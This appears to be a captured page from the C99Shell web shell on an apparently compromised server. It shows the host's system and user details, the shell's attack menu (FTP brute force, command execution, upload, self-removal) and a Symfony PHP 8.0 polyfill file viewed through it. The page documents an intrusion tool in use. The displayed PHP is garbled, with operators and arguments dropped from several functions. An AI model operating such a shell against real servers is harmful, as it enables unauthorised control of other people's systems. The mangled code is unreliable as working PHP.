!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Polyfill/Php80/   drwxr-xr-x
Free 83.25 GB of 96.73 GB (86.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Php80.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Polyfill\Php80;

/**
 * @author Ion Bazan <[email protected]>
 * @author Nico Oelgart <[email protected]>
 * @author Nicolas Grekas <[email protected]>
 *
 * @internal
 */
final class Php80
{
    public static function 
fdiv(float $dividendfloat $divisor): float
    
{
        return @(
$dividend $divisor);
    }

    public static function 
get_debug_type($value): string
    
{
        switch (
true) {
            case 
null === $value: return 'null';
            case \
is_bool($value): return 'bool';
            case \
is_string($value): return 'string';
            case \
is_array($value): return 'array';
            case \
is_int($value): return 'int';
            case \
is_float($value): return 'float';
            case \
is_object($value): break;
            case 
$value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class';
            default:
                if (
null === $type = @get_resource_type($value)) {
                    return 
'unknown';
                }

                if (
'Unknown' === $type) {
                    
$type 'closed';
                }

                return 
"resource ($type)";
        }

        
$class = \get_class($value);

        if (
false === strpos($class'@')) {
            return 
$class;
        }

        return (
get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous';
    }

    public static function 
get_resource_id($res): int
    
{
        if (!\
is_resource($res) && null === @get_resource_type($res)) {
            throw new \
TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given'get_debug_type($res)));
        }

        return (int) 
$res;
    }

    public static function 
preg_last_error_msg(): string
    
{
        switch (
preg_last_error()) {
            case \
PREG_INTERNAL_ERROR:
                return 
'Internal error';
            case \
PREG_BAD_UTF8_ERROR:
                return 
'Malformed UTF-8 characters, possibly incorrectly encoded';
            case \
PREG_BAD_UTF8_OFFSET_ERROR:
                return 
'The offset did not correspond to the beginning of a valid UTF-8 code point';
            case \
PREG_BACKTRACK_LIMIT_ERROR:
                return 
'Backtrack limit exhausted';
            case \
PREG_RECURSION_LIMIT_ERROR:
                return 
'Recursion limit exhausted';
            case \
PREG_JIT_STACKLIMIT_ERROR:
                return 
'JIT stack limit exhausted';
            case \
PREG_NO_ERROR:
                return 
'No error';
            default:
                return 
'Unknown error';
        }
    }

    public static function 
str_contains(string $haystackstring $needle): bool
    
{
        return 
'' === $needle || false !== strpos($haystack$needle);
    }

    public static function 
str_starts_with(string $haystackstring $needle): bool
    
{
        return 
=== strncmp($haystack$needle, \strlen($needle));
    }

    public static function 
str_ends_with(string $haystackstring $needle): bool
    
{
        return 
'' === $needle || ('' !== $haystack && === substr_compare($haystack$needle, -\strlen($needle)));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0049 ]--